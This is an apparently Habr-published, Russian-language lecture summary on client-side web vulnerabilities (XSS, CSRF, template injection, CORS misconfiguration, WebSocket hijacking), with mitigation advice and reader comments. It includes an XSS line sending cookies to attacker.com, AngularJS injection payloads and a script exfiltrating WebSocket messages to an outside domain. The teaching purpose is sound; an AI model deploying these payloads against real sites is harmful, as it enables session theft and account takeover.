В этой статье мы покажем:


  • как в разных ситуациях манипулировать веб-сайтом таким образом, чтобы он передавал пользователям вредоносный JavaScript.
  • как скомпрометировать администратора сайта, отправив ему личное сообщение;
  • как атаковать разом всех пользователей при помощи комментария под статьей;
  • как заставить пользователя отправить запрос на действия, которые он не собирается выполнять;
  • как прослушивать WebSocket-соединения;
  • и коротко объясним, как предотвратить все эти безобразия.

В общем, под катом вас ждет рассказ про распространенные уязвимости на стороне клиента и некоторые методы Client-Side защиты.


Недавно закончилась наша программа летней стажировки для начинающих безопасников. Этот пост — сжатый конспект лекции, прозвучавшей на одном из занятий.

Client Side-уязвимости — слабые места или ошибки в ПО, работающем на стороне пользователя (обычно в контексте веб-браузера или мобильного приложения), которые можно использовать для хакерских атак или несанкционированного доступа к системе.


Такие уязвимости можно разделить на несколько групп:


  • Межсайтовый скриптинг (XSS);
  • Межсайтовая подделка запроса (CSRF);
  • Неправильная конфигурация междоменных запросов (CORS Misconfiguration);
  • Утечка информации о параметрах, методах, компонентах приложения;
  • Подмена WebSocket-соединения между сайтами (CSWH);
  • Client-side Template Injections;
  • Client-Side Prototype Pollution;
  • Сlickjacking;
  • Различные client-side misconfiguration, например, неправильная обработка аутентификации и авторизации или утечки информации.

Рассмотрим подробнее те уязвимости, которые наиболее часто встречаются на нашей практике.


XSS. Межсайтовый скриптинг


Cross-Site Scripting основан на манипуляции уязвимым веб-сайтом таким образом, чтобы он передавал пользователям вредоносный JavaScript. Браузер считает, что скрипт получен из доверенного источника и выполняет полученный код. В результате злоумышленник получает контроль над взаимодействием жертвы с приложением. Он может получить доступ к Сookie и различной конфиденциальной информации, используемой этим сайтом и хранящейся в браузере, и даже переписать HTML-страницу.



Основные разновидности уязвимостей межсайтового скриптинга:


  • отраженные (Reflected XSS);
  • хранимые (Stored XSS);
  • слепые хранимые (Blind XSS);
  • на основе DOM (DOM XSS).

Отраженный межсайтовый скриптинг


Один из самых простых сценариев — Reflected XSS реализуется, когда пользовательский ввод возвращается веб-сайтом в виде сообщения об ошибке или, например, результатов поиска. Важно то, чтобы ответ включал в себя входные данные, предоставленные пользователем как часть запроса.


Вредоносный скрипт поступает из текущего HTTP-запроса, например, через GET в каком-то параметре. Это может выглядеть так:


https://insecure-website.com/status?message=Все+в+порядке.

 <p>Статус: Все в порядке.</p>

Приложение не выполняет дополнительной обработки данных, поэтому злоумышленник может легко создать атаку, подобную этой:


https://insecure-website.com/status?message=<script> Вредоносный JS</script>

<p>Статус: <script> Вредоносный JS </script></p>
<script>var i=new Image;i.src="http://attacker.com/?"+document.cookie;</script>

Часть XSS, отраженного через GET в неком параметре, попадает в тело страницы, и в результате выполняется скрипт.


Как правило, для демонстрации этой уязвимости пентестеры вызывают простое окошко с предупреждением. Но туда можно внедрить любой скрипт, который, скомпрометирует страницу, или, например, попробует прочитать Cookie, если не установлен флаг HTTP-only. Правда, сейчас разработчики редко допускают эту ошибку.


На практике отраженные XSS считаются малоимпактными. Обычно их ищут сканерами и не уделяют особого внимания, но с помощью Reflected XSS можно реализовать интересные векторы атак. Эту уязвимость можно использовать как первый шаг на пути реализации CSRF с чтением чувствительных данных или выполнением вредоносных действий. При определенных условиях с помощью межсайтового скриптинга можно вытянуть с сайта все данные, которые доступны в контексте Origin жертвы.


Хранимый межсайтовый скриптинг


В отличие от отраженных XSS, Stored XSS возникает, когда веб-приложение получает данные из ненадежного источника, сохраняет их и включает эти данные в последующие HTTP-ответы небезопасным способом. Например, вредоносный JS-код может быть внедрен в комментарий под статьей на сайте. В таком случае он попадет на постоянное хранение в базу данных сайта.



Такая «закладка» позволяет делать все то же, что и обычный Reflected XSS, но более опасна, так как вредоносный код будет выполняться у всех пользователей, которые просматривают страницу с комментарием.


Слепой межсайтовый скриптинг


Blind XSS — это вариант Stored XSS, в котором злоумышленник непосредственно не видит результат выполнения вредоносного скрипта. Он либо не отображается, либо выводится на странице к которой нет доступа.



Такие скрипты часто доставляются жертве через формы обратной связи и срабатывают в личном кабинете администратора сайта. Скрипт отрабатывает на стороне администратора, собирая информацию со страницы, куда он был внедрен и, например, отправляет скриншоты, параметры юзер-агента пользователя, Cookie, IP, содержимое HTML документа. Как правило, для менеджмента полезных нагрузок и реализации этой атаки используют инструмент под названием XSS Hunter.



Таким образом можно получить прямой доступ к административному интерфейсу веб-приложения, однако результат не гарантирован. На практике можно неделями ждать, пока действия администратора сайта вызовут срабатывание скрипта.


Межсайтовый скриптинг на основе DOM


Уязвимости DOM-based XSS обычно возникают, когда JavaScript получает данные из источника (source), контролируемого злоумышленником, например, URL, и передает их в уязвимый элемент (sink), который поддерживает выполнение динамического кода, такого как eval() или innerHTML. Так злоумышленник получает возможность выполнить вредоносный JavaScript-код.


Это становится возможным, потому что большинство современных сайтов динамические, и многие их элементы работают на JavaScript, используя ту же самую Document Object Model (DOM) — объектную модель документа, в которой находится вся структура сайта, HTML-код, доступные функции JS. Сайт вызывает эти функции, берет конкретные объекты, элементы. В контексте Client-Side они называются синки.


Часть синков, которые используются JavaScriptом, подконтрольны пользователю. Например, это Cookies, Object Document, domain object, Window Location, Location Hash и другие подобные параметры и переменные, которые используются для Client-Side взаимодействия. Если поместить в них правильно написанный вредоносный код, то он может попадать в разные функции, типа Eval и динамически обрабатываться движком сайта «за компанию».


document.documentURI
document.URLUnencoded
document.baseURI
location
document.cooki e
document.referrer
wi ndow.name
hi story.pushstate
history.replaceState
localstorage
sessionstorage
IndexedDB (mozIndexedDB, webkitlndexedDB, msIndexedDB)
Database

DOM-элементы, которые можно эксплуатировать для реализации межсайтового скриптинга


На DOM-based XSS можно наткнуться методом тыка, изучая Local Storage, но для поиска более глубоких, интересных уязвимостей лучше использовать BurpSuite DOM Invader. По сути, он берет некое число в качестве маркера и в процессе работы пытается внедрить его во все возможные параметры DOM, а затем отслеживает появление этого числа в функциях.


Также этот плагин отслеживает, появилось ли число в теле страницы, попало ли в динамически исполняемый JavaScript. Таким образом, DOM Invader находит проблемные места, куда можно добавить собственный скрипт с полезной нагрузкой и проверяет, «выстрелит» ли такая уязвимость. Также этот инструмент может определять уязвимости client-side prototype pollution.


Рекомендации по предотвращению XSS и dom-based XSS


  • Проверка ввода или очистка данных на стороне сервера при помощи различных библиотек для очистки XSS, например, DOMPurify;
  • Контекстно-зависимое кодирование вывода на стороне сервера;
  • Использование безопасных API JavaScript;
  • Внедрение политики безопасности контента (CSP);
  • Предотвращение динамической записи и выполнения данных из ненадежных источников.

CSRF. Подделка межсайтовых запросов


Этот тип атаки строится на том, чтобы обманом заставить пользователя отправить запрос на действия, которые он не собирается выполнять.


Как правило, в запросы браузера автоматически включаются учетные данные, связанные с сайтом: Cookie, IP-адрес, учетные данные домена Windows и т. д. Благодаря этим данным, CSRF-уязвимости позволяют злоумышленнику выполнять в приложении действия от имени пользователя, используя его сессию.



Для этого используются простые запросы (simple requests), которые беспрепятственно проходят между сайтами. В качестве примера можно привести GET-запрос, когда мы перенаправляем кого-то со своего сайта по URL или, когда пользователь просто кликнет по ссылке. Еще один пример простого запроса — отправка данных через форму на сайте, где параметры в теле передаются через амперсанд. Так, при генерации CSRF PoC в Burp Suite можно выбрать content-type запроса text/pain, либо application/x-www-form-urlencoded. Та же самая ситуация с multipart/form-data, только в этом случае параметры разбиваются на определенные фрагменты данных.


Запрос считается простым, если удовлетворяет нескольким требованиям:


  1. Метод запроса. Допустимы только определенные методы запросов, такие, как GET, HEAD или POST.
  2. Среди автоматически подставляемых заголовков по умолчанию устанавливаются только CORS-безопасные заголовки.
  3. Отсутствие определенных типов данных в теле запроса. Тело запроса должно содержать только определенные типы данных, такие, как text/plain, application/x-www-form-urlencoded или multipart/form-data.
  4. В запросе не должен открываться ReadableStream.

Допустим, пользователь приходит на вредоносный сайт. В этот момент автоматически отправляется специально сконфигурированная форма, берутся сессионные идентификаторы Cookie хранящиеся в браузере жертвы, и на целевом сайте без ведома пользователя от его имени выполняется некий запрос. Например, это может быть изменение адреса электронной почты в его аккаунте. Далее злоумышленник запрашивает изменение пароля на новый email и захватывает аккаунт.


Точно так же могут быть выполнены и другие критичные действия: отправка сообщения, покупка, списание бонусных баллов или денежных средств — зависит от функциональности веб-приложения.


Как работает CSRF


Для успешной эксплуатации этой уязвимости должны быть выполнены следующие условия:


  • Наличие соответствующего действия в приложении, которое злоумышленник хочет заставить выполнить пользователя.
  • Обработка сессии на основе Cookie без заголовков, например, authentication.
  • Отсутствие токенов, которые валидируются на стороне сервера с каждым запросом, непредсказуемых идентификаторов, UID которые сложно предугадать.

Рекомендации по устранению CSRF


  • Использование CSRF-токенов в заголовке и проверка заголовка на соответствие тому сайту, с которым вы работаете;
  • Использование HMAC или метода Signed Double Submit Cookie;
  • Использование пользовательского заголовка запроса;
  • Использование samesite=strict cookies;
  • Внедрение повторной аутентификации, одноразовых токенов или CAPTCHA для получения подтверждения от пользователя.

Client-Side Template Injection (CSTI)


Эта уязвимость напоминает XSS, но реализуется для специфичных JS, например, в Angular, Vue. Она также похожа на Server-side Template Injection, когда в контексте среды выполнения приложения злоумышленник может выполнить свой код.


Client-Side Template Injection возникает, если среда выполнения (веб-приложение) динамически внедряет в страницу пользовательский ввод, используя функциональность шаблонизаторов.


При отображении страницы фреймворк находит и последовательно выполняет все шаблонные выражения на ней. Платформы шаблонов на стороне клиента часто реализуют песочницу, предназначенную для предотвращения прямого выполнения произвольного кода из выражения, но ее можно обойти. Злоумышленник может добавить в шаблонное выражение вредоносный код. Как и в случае XSS, такой код может выполнять самые разные действия, от кражи Cookies и личных данных до регистрации нажатий клавиш.


На примере AngularJS это может выглядеть так:


{{$on.constructor('alert(1)')()}} 
{{constructor.constructor('alert(1)')()}}

Директива AngularJS, ng-app, представляет собой общую библиотеку JavaScript, которая проверяет содержимое содержащих ее HTML-узлов. Злоумышленник может запускать JavaScript в двойных фигурных скобках, когда директива вводится в HTML-код. Например, если ваш ввод отражается в теле HTML, а тело создано с синтаксисом ng-app: body ng-app>


Включив фигурные скобки в тело, можно запустить произвольную нагрузку. Существуют публичные нагрузки для технологий AngularJS, VueJS, Mavo.


Злоумышленник может использовать эту уязвимость для выполнения любого JavaScript-кода, а значит, и XSS. При этом опасность CSTI во многом зависит от контекста: для общедоступного веб-сайта без личного кабинета и конфиденциального контента опасность сравнительно невысокая. В то же время Client-Side Template Injection в банковских приложениях и элементах инфраструктуры компании могут стать элементом направленной атаки и рассматриваются как высокорисковая уязвимость.


SOP, CORS и уязвимости, основанные на совместном использовании ресурсов между источниками


Важно понимать, что простые запросы GET, HEAD или POST являются исключением из правил. Более сложные взаимодействия между сайтами ограничиваются специальной политикой Same Origin Policy — SOP. Суть работы этого механизма заключается в правиле ограничения Origin. По умолчанию сайт А не может получить доступ к информации в хранилище сайта Б и его функциям:


  • Когда браузер отправляет HTTP-запрос из источника А на источник Б, все Cookie, относящиеся к первому домену, отправляются вместе с запросом.
  • Ответ на такой запрос создается в рамках сессии пользователя и может содержать любые соответствующие данные, доступные пользователю.
  • SOP ограничивает доступ к ответу на такой запрос и препятствует межсайтовой передаче данных.

Как работает Same Origin Policy


URL, к которому осуществляется межсайтовый запрос с источника http://website.com Разрешен доступ? (Запрос пройдёт в браузере, и клиент получит ответ)
http://website.com/example/ Да: одна и та же схема, домен и порт
http://website.com/api/users?count=10&role=corp Да: одна и та же схема, домен и порт
https://website.com/example/ Нет: различная схема и порт
http://en.website.com/example/ Нет: различный домен
http://www.website.com/example/ Нет: различный домен
http://website.com:8080/example/ Нет: различный порт*internet Explorer позволит такой доступ, поскольку IE не учитывает номер порта при применении политики одного источника (Same Origin Policy).

Same Origin Policy работает очень строго. Если при межсетевом запросе одна из трех характеристик меняется — считается, что это другой источник и межсайтовое взаимодействие запрещается. Для контролируемого смягчения политики одного источника применяют механизм совместного использования ресурсов разных источников (Cross-Origin Resource Sharing, CORS).


Preflight-запрос и основные заголовки CORS


Это запрос, который браузер автоматически посылает для проверки того, знает ли сервер о CORS и разрешает ли он выполнение запроса. Смысл Preflight-запроса заключается в том, чтобы защитить устаревшие ресурсы от расширенных параметров запросов, разрешенных в CORS. Такая предварительная проверка выполняется, когда кросс-доменный запрос включает нестандартный метод HTTP или заголовки с использованием метода OPTIONS.


OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://example-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

Сервер возвращает список разрешенных методов и заголовков в дополнение к доверенному источнику (Origin), а браузер проверяет, разрешен ли метод и заголовки для запрашивающего веб-сайта.


HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

В данном случае ответ сервера указывает на разрешенные методы PUT, POST и OPTIONS и разрешенные заголовки запроса (Special-Request-Header). Также сервер разрешает передавать учетные данные (credentials), а заголовок Access-Control-Max-Age, определяет максимальное время кэширования ответа на предварительный запрос. Если методы и заголовки разрешены (как в этом примере), то браузер обрабатывает кросс-доменный запрос как обычно.


Здесь начинаются сложности, поскольку не все запросы вызывают предварительный запрос. CORS использует набор заголовков HTTP, которые определяют доверенные источники веб-ресурсов. Браузер и веб-сайт другого источника, к которому браузер пытается получить доступ, обмениваются этими заголовками.


Основные заголовки CORS


  • Access-Control-Allow-Origin. Определяет список доменов, которым разрешено делать запросы к ресурсу. Значение «*» разрешает доступ со всех доменов.
  • Access-Control-Allow-Methods. Определяет список методов HTTP, которые разрешены при выполнении запроса к ресурсу.
  • Access-Control-Allow-Headers. Определяет список заголовков, которые разрешены при выполнении запроса к ресурсу.
  • Access-Control-Allow-Credentials. Указывает, разрешается ли передавать учетные данные (например, куки или авторизационные заголовки) при выполнении запроса.

Пример.
Есть сайты example.com и api-example.com Им нужно взаимодействовать, например, из api-example.com на основной сайт передается информация, данные пользователей. api-example.com в заголовках ответа дает такие основные заголовки, как Access-Control-Allow-Origin и Access-Control-Allow-Credentials, потому что ему нужно иметь доступ к сессии пользователя, например, к Cookies или заголовкам authorization, чтобы найти нужную информацию о пользователе. На стороне сервера, разрешающего получать от себя данные, Access-Control-Allow-Origin определяет, какие источники могут быть использованы из определенного набора ресурсов. Обычно это явно указанные сайты, для которых разрешен доступ на кросс-доменные запросы в обход SOP.


Если на стороне сервера для аутентификации используются специфичные, кастомные заголовки, чтобы они могли отправиться с межсайтовым запросом, разработчики также явно их указывают.


Небезопасная конфигурация CORS


Если неправильно сконфигурировать механизм совместного использования ресурсов разных источников, то в нем могут возникнуть уязвимости.



  1. Генерация сервером заголовка ACAO (Access-Control-Allow-Origin) на основе клиентского заголовка Origin без должной проверки, например, когда в Access-Control-Allow-Origin всегда подставляется источник. Когда из-за CORS не работает взаимодействие сайта с нужными API, админам бывает проще сделать так, а не закапываться в причины проблемы.
    В таких случаях может быть установлен флаг Access-Control-Allow-Credentials, который позволяет браузеру отправить Cookies, как при обычном SimpleRequest, чтобы можно было использовать сессию пользователя, уже лежащего в его браузере, в контексте другого сайта.


  2. Ошибки при разборе заголовков Origin. Некорректная обработка или ошибки при парсинге заголовков Origin могут привести к нарушениям политики безопасности. Если Origin обрабатывается по регулярному выражению, допустим, сайт проверяет example.com на наличие вхождения, хакер может использовать домен example.com.attacker.com. Так он сможет обойти CORS.


  3. Белый список со значением null в Origin. Некоторые конфигурации CORS позволяют использовать значение null в списке разрешенных источников. Это тоже можно использовать для несанкционированного доступа к данным. Например, Origin со значением null отправляется, если сделать межсайтовый запрос из iframe на сайте атакующего.



Рекомендации по устранению уязвимостей CORS


  • Правильная настройка заголовков CORS на стороне сервера (Access-Control-Allow-Origin, Access-Control-Allow-Methods и Access-Control-Allow-Headers);
  • Отказ от использования подстановочного знака в заголовке Access-Control-Allow-Origin.

CSWH. Межсайтовый перехват WebSocket


HTTP, по сути, stateless-протокол, в котором нет постоянного канала для обмена сообщениями. Для этого придуманы WebSockets, которые при взаимодействии с сайтом открывают между клиентом и сервером постоянное соединение. В нем обмен данными происходит в формате запрос-ответ. WebSockets инициируются через HTTP и обеспечивают долговременные соединения с асинхронным обменом информацией в обоих направлениях.


Практически любая уязвимость веб-безопасности, которая возникает при использовании обычного HTTP, также может возникнуть в отношении коммуникаций с использованием WebSocket-соединений.



В рамках таких соединений могут эксплуатироваться и уязвимости серверной стороны, но в контексте этой статьи наиболее интересна CSRF для WebSockets. Эта атака позволяет внедриться в канал пользователя, который открывается по обычной сессионной Cookie.


Пользователь заходит на сайт (это может быть также какая-то форма постоянной подгрузки данных на сайт, например, обновляемые котировки на биржах или чат, где идет обмен сообщениями в одном канале), получает Cookie, у него открывается свой WebSocket-сеанс.


Злоумышленник делает CSRF со своего сайта, открывает WebSocket-соединение для пользователя с его Cookies и начинает читать все, что передается в обе стороны. Получается атака типа Man in the middle (MITM). Это может продолжаться, пока не обновится сессионный ключ, а порой они и вовсе не обновляются.


Успешная CSWH-атака позволяет злоумышленнику:


  1. Выполнять несанкционированные действия, выдавая себя за пользователя-жертву.
  2. Извлекать чувствительные данные, к которым имеет доступ пользователь.


Импакт межсайтового перехвата WebSocket


На практике через WebSocket редко пересылаются чувствительные данные или идет выполнение действий, но бывают и исключения.


Пример CSWSH.
Сервер может использовать WebSocket для связи каждого конкретного пользователя с его сеансом WebSocket на основе отправленных Сookies. Затем, если, например, сервер WebSocket возвращает историю разговора пользователя при отправке сообщения с текстом "READY", простая атака XSS, устанавливающая соединение (куки будут автоматически отправлены для авторизации пользователя-жертвы) с отправкой сообщения "READY", позволит извлечь историю сообщений.


<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
  websocket.send("READY"); //Send the message to retrieve confidential information
}
function handleReply(event) {
  fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Рекомендации по устранению CSWH


  • Использование HTTPS для WebSocket-соединений;
  • Проверка содержимого заголовка «origin» при инициализации соединения;
  • Использование токенов CSRF для каждого запроса, обрабатывающего WebSockets.

Заключение


Клиентские приложения — это не просто внешний интерфейс для взаимодействия с бэкэндом, это пульт управления, возможности которого можно использовать не по назначению. Поэтому разработчикам никогда не стоит доверять вводу данных на стороне клиента. Необходимо перепроверять, что происходит и ограничивать работу клиента легитимными сценариями.


Процент серьезных уязвимостей в веб-приложениях, по нашим данным, постепенно снижается, вероятно, благодаря распространению современных JavaScript-фреймворков. Опасные XSS-уязвимости в 2022 году встречались примерно на 11% реже, чем в 2021-м. Однако разновидности Client-Side уязвимостей по-прежнему составляют подавляющее большинство от всех недостатков безопасности веб-сайтов.


img


HackerOne Hacker-Powered Security Report 2022, страница 12


Это подтверждается и независимой статистикой. XSS занимает первое место в топ-10 самых дорогих уязвимостей 2022 года (и 21-го тоже) по статистике HackerOne. Именно за XSS было выплачено больше всего денег в рамках баг-баунти программ. Client-Side уязвимости также могут приводить к некорректному разграничению доступов и раскрытию информации и вносят значительный вклад во второй и третий пункты списка.


Вероятно, изучение Client-Side уязвимостей никогда не потеряет актуальность. Взять, например, взаимодействие с блокчейн-кошельком, которое происходит через клиентскую сторону при помощи JS. Появление XSS в таком приложении означает колоссальные денежные и репутационные потери. Для существующих и будущих Web 3.0-проектов Client-Side уязвимости еще опаснее, чем для классических приложений.

Комментарии (3)


  1. Ionenice
    29.08.2023 13:03
    +1

    samesite=strict cookies;

    Это какой-то неполноценный атрибут всего с 3 вариантами strict/lax & none из-за чего приходиться ставить none при использовании iframe и надеятся на cors и/или Access-Control-Allow-Credentials


  1. mikop
    29.08.2023 13:03
    +1

    Статья классная интересно было прочитать. Но не совсем понял про CSRF.

    Правильно понял, что:
    Хакер, оставляет ссылку на сайте. Пользователь переходит, и с ним на хакерский сайт отправляются сессионные куки.
    Как тогда защищает CSRF-токен?


    1. donovanrey Автор
      29.08.2023 13:03

      Не обязательно на сайте, это просто отдельный пример. Хакер может скинуть ссылку где угодно, например в личных сообщениях на хабре. Что то типа: "посмотри, какая интересная статья". Запрос пойдет на уязвимый сайт:

      POST /change_pwd HTTP/1.1

      ....

      new_pass=hacked

      Если для действия требуется правильно сделанный CSRF-токен, то запрос будет выглядеть иначе:

      POST /change_pwd HTTP/1.1

      ....

      new_pass=hacked&csrf_token=Bjkhwiewojinfdewjbldsjhoo

      Токен нужно будет как-то взять с сайта, например с кнопки в HTML. Это является чтением данных и не будет простым запросом, поэтому отправить запрос с CSRF-токеном от имени пользователя в одностороннем порядке невозможно.

      Чтобы все таки реализовать атаку, придется сначала как-то получить токен, например от имени пользователя получить страницу HTML, где будет токен для данного действия, а потом отправить второй запрос с действием, включающем валидный токен.